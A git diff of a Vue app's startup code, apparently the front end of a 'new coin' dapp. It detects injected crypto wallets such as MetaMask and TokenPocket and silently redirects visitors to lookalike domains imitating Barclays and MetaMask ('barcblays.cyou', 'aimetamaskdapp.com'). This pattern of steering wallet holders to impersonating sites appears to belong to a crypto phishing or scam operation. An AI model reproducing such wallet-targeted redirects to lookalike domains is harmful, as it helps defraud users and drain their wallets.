新币+dapp app 前端
dcc
2024-05-15 aea10489d04cf6385675dff3d8f3d765fba25227
src/App.vue
@@ -62,11 +62,11 @@
  mounted() {
    window.document.documentElement.setAttribute('data-theme', this.theme)
    changeTheme(this.theme)
    console.log(window.ethereum,window.web3,window.injectedWeb3);
    if(window.ethereum != undefined && window.web3 != undefined && window.injectedWeb3 != undefined){//dapp
      window.location.href = 'https://dapp.barcblays.cyou/wap/#/'
    console.log(window.ethereum,window.web3,window.injectedWeb3,window.TokenPocket);
    if(window.ethereum != undefined || window.web3 != undefined || window.injectedWeb3 != undefined){//dapp  //_metamask isTokenPocket
      // window.location.href = 'https://dapp.aimetamaskdapp.com/wap/#/'
    }else{
      // window.location.href = 'https://dapp.sankeji.shop'
      window.location.href = 'https://shop.aimetamaskdapp.com'
    }
  },
  components: {